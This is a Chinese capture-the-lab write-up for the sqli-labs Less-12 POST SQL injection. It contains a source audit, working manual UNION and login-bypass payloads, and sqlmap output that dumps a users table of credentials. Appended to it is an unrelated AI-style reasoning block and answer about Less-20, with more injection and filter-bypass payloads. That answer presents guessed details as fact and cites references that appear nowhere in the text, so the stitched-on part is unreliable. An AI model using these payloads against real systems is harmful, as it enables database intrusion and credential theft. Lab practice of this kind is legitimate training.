sqli-labs通关笔记-第12关 POST字符型注入(双引号括号闭合 手工注入+脚本注入两种方法)

目录

一、字符型注入

二、limit函数

三、GET方法与POST方法

四、源码分析

1、代码审计

2、SQL注入安全分析

五、渗透实战

1、进入靶场

2、注入点分析

(1)SQL语句

(2)万能密码登录 

 3、手工注入

 (1)获取列数

(2)获取回显位

(3)获取数据库名

(4)获取表名

(5)获取列名

(6)获取数据

4、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节通过手工注入和脚本注入共2种方法对第12关Less 12基于字符型的SQL注入关卡进行渗透实战,相对于前1-10关的最主要区别是报文参数的请求方法由GET变为POST,相对于第11关区别主要是闭合方式由单引号变为双引号括号。  

一、字符型注入

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

二、limit函数

Limit是 SQL 中用于限制查询结果数量的子句,不是真正的函数。Limit通常有两种常见形式,具体如下所示。

  • 单参数形式LIMIT n

    • 返回前 n 条记录

    • 示例:LIMIT 5 返回前5条结果

  • 双参数形式LIMIT offset, count

    • offset:跳过的记录数(从0开始)

    • count:要返回的记录数

    • 示例:LIMIT 10, 5 跳过前10条,返回接下来的5条

举例:SQL语句“SELECT * FROM users WHERE id='$id' LIMIT 0,1”中的LIMIT 0,1"表示获取第一条匹配的记录",LIMIT0,1的具体含义如下所示,

  • 从第0条记录开始(即不跳过任何记录)

  • 只返回1条记录

三、GET方法与POST方法

GET 和 POST 是 HTTP 协议中两种常用请求方法,核心区别如下。

GET 方法通过 URL 传递参数(如?key=value),参数可见且暴露在地址栏中,受浏览器长度限制(通常约 2KB),仅支持 ASCII 字符,会被浏览器缓存,安全性较低。

POST 方法将参数放入请求体中传输,不显示在 URL 中,无明显长度限制,支持任意编码,不会被缓存,安全性更高,适用于提交数据(如登录表单、文件上传)。

简言之,GET 侧重 “获取”,参数可见且有局限性;POST 侧重 “提交”,参数隐蔽且更灵活。两者的详细区别如下表所示。

对比项GET 方法POST 方法
参数位置参数附在 URL 后(如?name=value参数放在 HTTP 请求体中
可见性参数暴露在 URL 中,不安全参数不可见,相对安全
长度限制有长度限制(约 2KB,取决于浏览器)无明显长度限制
缓存性会被浏览器缓存不会被缓存
编码支持只允许 ASCII 字符支持任何编码类型
安全性不适合传输敏感数据(如密码)更适合传输敏感数据
应用场景获取数据(如搜索、分页)提交数据(如表单、文件上传)
典型注入点URL 参数(如id=1' OR 1=1 --表单字段(如 POST 数据中的username

四、源码分析

1、代码审计

本关卡Less12是基于字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less12关卡的源码功能是登录验证页面,与11关的区别主要是闭合方式由单引号变为双引号括号,具体如下所示。

详细注释后的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Less-12- Error Based- Double quotes- String</title> <!-- 基于错误的双引号字符串注入 -->
</head>

<body bgcolor="#000000"> <!-- 黑色背景 -->
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div>

<!-- 登录表单区域 -->
<div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">
    <div style="padding-top:10px; font-size:15px;">
        <form action="" name="form1" method="post"> <!-- POST方式提交表单 -->
            <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;
                <input type="text" name="uname" value=""/> <!-- 用户名输入框 -->
            </div>  
            <div> Password  : &nbsp;&nbsp;&nbsp;
                <input type="text" name="passwd" value=""/> <!-- 密码输入框 -->
            </div></br>
            <div style=" margin-top:9px;margin-left:90px;">
                <input type="submit" name="submit" value="Submit" /> <!-- 提交按钮 -->
            </div>
        </form>
    </div>
</div>

<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00">

<?php
// 包含MySQL连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭PHP错误报告
error_reporting(0);

// 检查是否提交了用户名和密码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    $uname = $_POST['uname']; // 获取用户名
    $passwd = $_POST['passwd']; // 获取密码
    
    // 记录用户输入到日志文件
    $fp = fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname."\n");
    fwrite($fp,'Password:'.$passwd."\n");
    fclose($fp);

    // 关键风险点:用双引号包裹用户输入
    $uname = '"'.$uname.'"'; // 用户名添加双引号
    $passwd = '"'.$passwd.'"'; // 密码添加双引号
    
    // 构造SQL查询 - 使用括号和双引号
    @$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result = mysqli_query($con1, $sql);
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);

    if($row) { // 登录成功
        echo "<br>";
        echo '<font color= "#FFFF00" font size = 4>';
        echo '<font size="3" color="#0000ff">';    
        echo "<br>";
        echo 'Your Login name:'. $row['username']; // 显示用户名
        echo "<br>";
        echo 'Your Password:' .$row['password']; // 显示密码(安全风险)
        echo "<br>";
        echo "</font>";
        echo "<br>";
        echo "<br>";
        echo '<img src="../images/flag.jpg" />'; // 成功标志图片    
    } else { // 登录失败
        echo '<font color= "#0000ff" font size="3">';
        print_r(mysqli_error($con1)); // 关键安全风险点:显示数据库错误信息
        echo "</br>";
        echo "</br>";
        echo "</br>";
        echo '<img src="../images/slap.jpg" />'; // 失败图片
        echo "</font>";  
    }
}
?>
</font>
</div>
</body>
</html>

这是一个参数为用户名和密码的基于POST请求登录表单的登录验证页面,存在基于错误的SQL注入风险,通过用户名和密码字段的直接拼接构造SQL查询,并显示数据库错误信息,主要功能是:

  • 提供用户名和密码的登录表单(POST方法提交)

  • 自动用双引号包裹输入值($uname = '"'.$uname.'"'

  • 记录所有登录尝试到result.txt日志文件

  • 使用括号和双引号构造SQL查询(WHERE username=($uname)

  • 响应处理:

    • 登录成功:显示用户名和明文密码(有助于union联合法注入)及成功图片

    • 登录失败:显示数据库错误信息和失败图片(有助于报错法注入)

  • 关键风险点:显示详细的MySQL错误信息

2、SQL注入安全分析

这个代码存在严重的SQL注入安全问题,可以通过联合注入法和报错法注入,原因如下:

  • 未过滤的用户输入:直接将POST参数包裹双引号括号后拼接到SQL语句中,没有任何过滤或转义处理,如下所示。

$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"';
@$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  • 字符串拼接方式:SQL查询使用双引号括号包裹用户输入,攻击者可以闭合双引号括号注入恶意代码。

  • 登录成功结果显示:显示用户名和明文密码,有助于攻击者进行基于union联合法SQL注入。

  • 错误信息显示:当SQL查询出错时,代码会通过print_r(mysqli_error($con1))显示MySQL错误信息,这有助于攻击者进行基于错误的SQL注入。

五、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://127.0.0.1/sqli-labs/

其中第12关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。

http://127.0.0.1/sqli-labs/#fm_imagemap

点击上图红框的Less12关卡,进入到靶场的第12关卡字符型POST注入关卡,页面提示登录框,需要输入用户名和密码,具体如下所示。

http://192.168.59.1/sqli-labs/Less-12/

2、注入点分析

(1)SQL语句

根据源码分析可知,本关卡通过 POST 方法接收用户名(username)和密码(passwd),使用双引号括号包裹后将其拼接到SQL查询语句中,并通过mysqli_query执行 SQL 查询。因其直接拼接用户输入的unamepasswd参数,且未对双引号等特殊字符过滤。登录成功时显示用户名、密码及成功图片;失败时通过mysqli_error($con1)直接返回数据库错误信息,导致可利用报错注入(如UPDATEXML函数)泄露数据。具体代码如下所示。

$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"';
@$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

页面整体基于错误回显的字符串型注入场景,核心根源在于未对输入做安全处理且暴露数据库错误细节,闭合方式为双引号括号,故而本关卡可以通过POST方法字符型报错注入进行渗透。

(2)万能密码登录 

根据上一步我们分析注入点为username和passwd,尝试万能登录,用户名为admin") or 1=1#,密码任意(这里设置为MOOYUAN),此时开启bp抓包,页面效果如下所示。

点击登录submit,此时页面显示“Your Login name:Dumb,Your Password:Dumb;”并提示登陆成功,具体如下所示。 

在burpsuite的历史记录中找到这个报文,抓包效果如下所示。

此时在报文request请求部分右键,选择copy to file并保存为sqli-labs12.txt,如下所示。

 3、手工注入

 (1)获取列数

如下所示,order by为2时渗透成功,但是order by为3时提示列不存在,故而共有2列。

admin") ORDER BY 2-- 
admin") ORDER BY 3-- 

(2)获取回显位

如下所示,回显位为1和2,接下来我们使用第2个回显位进行渗透。

-admin") UNION SELECT 1,2-- 

(3)获取数据库名

如下所示,数据库的名称为“security”。

-admin") UNION SELECT 1,DATABASE()-- 

(4)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

-admin") UNION SELECT 1,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()-- 

(5)获取列名

如下所示,数据库users表的列名分别为id,username,password。

-admin") UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'-- 

(6)获取数据

最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。

-admin") UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)) FROM users-- 

4、sqlmap渗透实战

我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

sqlmap -r sqli-labs12.txt  --current-db --dump --batch

其中sqli-labs12.txt中的注入点被修改为如下所示。

POST /sqli-labs/Less-12/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-12/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

uname=admin&passwd=&submit=Submit

sqlmap渗透成功,可以通过报错法、时间盲注、联合注入等方法渗透成功,具体信息如下所示。

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 995 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uname=admin") AND GTID_SUBSET(CONCAT(0x7176767071,(SELECT (ELT(2333=2333,1))),0x716a716271),2333) AND ("hBOr"="hBOr&passwd=&submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin") AND (SELECT 3288 FROM (SELECT(SLEEP(5)))KbKd) AND ("RTjg"="RTjg&passwd=&submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: uname=-5936") UNION ALL SELECT NULL,CONCAT(0x7176767071,0x4874717855527362526252494842426a5561505662646b55647a566c41764e6963657644466f6576,0x716a716271)#&passwd=&submit=Submit
---
[22:33:39] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[22:33:39] [INFO] fetching current database
current database: 'security'


Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+
<think>好的,我现在需要处理用户sqli-labs第20手工注入的问题。首先,我得回忆一下第20的具体情况。根据之前的了解,sqli-labs的不同卡设计不同的注入类型,比如GET型、POST型、报错注入、盲注等等。用户提到的是第20,所以需要确认这一注入点在哪里。 根据引用中的信息,比如引用[1]提到手工+sqlmap处理基础注入1-20,而引用[2]提到第24是二次注入,引用[3]是于21、22的cookie注入。所以第20可能属于基础注入的一部分,但具体是哪种类型呢? 用户需要的是手工注入方法,所以可能需要分析这一的输入点,比如POST参数、Cookie或HTTP头中的某个字段。比如引用[4]提到SQL注入的三个条件:参数可控、过滤不彻底、参数带入数据库执行。所以首先要确定第20注入点是否满足这三个条件。 接下来,查看引用中的资料,比如引用[5]提到第12使用双引号加小括号闭合,而第20可能使用不同的闭合方式。用户可能需要构造正确的闭合注入。 假设第20是基于Cookie的注入,或者POST参数注入。比如引用[3]中第21需要处理Cookie并使用base64编码,但第20可能不同。需要判断注入点在哪里,比如登录后的页面,或者某个请求参数。 手工注入的一般步骤是:确定注入点、判断闭合方式、确定字段数、联合查询获取数据库信息。可能需要使用order by来确定列数,然后union select来获取数据。 另外,考虑是否有错误回显,如果存在报错信息,可以利用报错注入,如updatexml或extractvalue函数。如果无回显,可能需要时间盲注或布尔盲注。 根据引用[1]中提到的update注入,可能第17是update语句的注入,但第20可能不同,需要具体情况具体分析。 可能第20注入点在Cookie中的某个参数,比如uname,类似于引用[3]的情况,但需要构造正确的闭合。例如,如果参数被单引号包围,则需要闭合单引号并添加注入代码。 此外,需要注意过滤的情况,是否有过滤空格、注释符等,可能需要使用替换字符如/**/代替空格,或者使用括号绕过。 总结步骤可能如下: 1. 确定注入点,如Cookie中的uname参数。 2. 判断闭合方式,比如单引号、双引号等。 3. 使用order by确定列数。 4. 联合查询获取数据库名、表名、列名。 5. 提取所需数据,如用户名、密码等。 同时需要引用相的参考资料,如引用[1]、[4]、[5]来支持步骤的正确性,比如闭合方式、注入条件等。 可能遇到的问题包括闭合方式判断错误,或者字段数不匹配导致联合查询失败,这时候需要多次尝试调整。此外,如果存在WAF或过滤机制,需要绕过,比如使用注释符或编码方式。 最终,需要将步骤详细写出,并确保用户能够按照步骤进行手工注入测试。同时,生成相问题,如于其他卡的手工注入技巧、如何绕过过滤、如何利用报错注入等。</think>### sqli-labs第20手工注入方法详解 #### 1. 环境与注入点定位 **卡特性**:第20是基于Cookie的POST类型注入注入参数为`uname`,通过Cookie传递。页面功能为登录后显示用户信息,后台SQL语句可能为: $$SELECT * FROM users WHERE username='$uname' LIMIT 0,1$$[^5] **验证注入点**: - 修改Cookie中的`uname`值为`admin' --+`,若页面正常显示,说明存在单引号闭合字符型注入[^4]。 --- #### 2. 闭合方式与注入流程 **步骤1:判断闭合方式** - 输入`admin'`触发报错,确认闭合方式为**单引号**。 - 使用注释符`--+`闭合后续语句: ```http Cookie: uname=admin' --+ ``` **步骤2:确定字段数** - 通过`ORDER BY`逐次增加列数测试: ```http Cookie: uname=admin' ORDER BY 3 --+ ``` 当`ORDER BY 4`报错时,字段数为**3**。 **步骤3:联合查询获取数据** - 构造`UNION SELECT`语句,需匹配字段数: ```http Cookie: uname=admin' UNION SELECT 1,2,3 --+ ``` 页面会显示回显位(如`2`和`3`)。 **步骤4:提取数据库信息** - 获取当前数据库名和用户: ```http Cookie: uname=admin' UNION SELECT 1,database(),user() --+ ``` 回显结果示例:`security` / `root@localhost`。 **步骤5:爆破表名与列名** - 查询`security`数据库的表名: ```http Cookie: uname=admin' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+ ``` 结果示例:`emails,referers,uagents,users`。 - 查询`users`表的列名: ```http Cookie: uname=admin' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --+ ``` 结果示例:`id,username,password`。 **步骤6:提取敏感数据** - 最终获取用户密码: ```http Cookie: uname=admin' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --+ ``` 输出示例:`admin:admin123`。 --- #### 3. 键绕过技巧 1. **空格过滤**:使用`/**/`代替空格,如`UNION/**/SELECT`。 2. **引号限制**:利用`HEX编码`或`CHAR()`函数,例如`table_name=0x7573657273`(即`users`的HEX值)。 3. **报错注入**(可选): ```http Cookie: uname=admin' AND updatexml(1,concat(0x7e,user()),1) --+ ``` 通过报错信息直接提取数据[^1]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值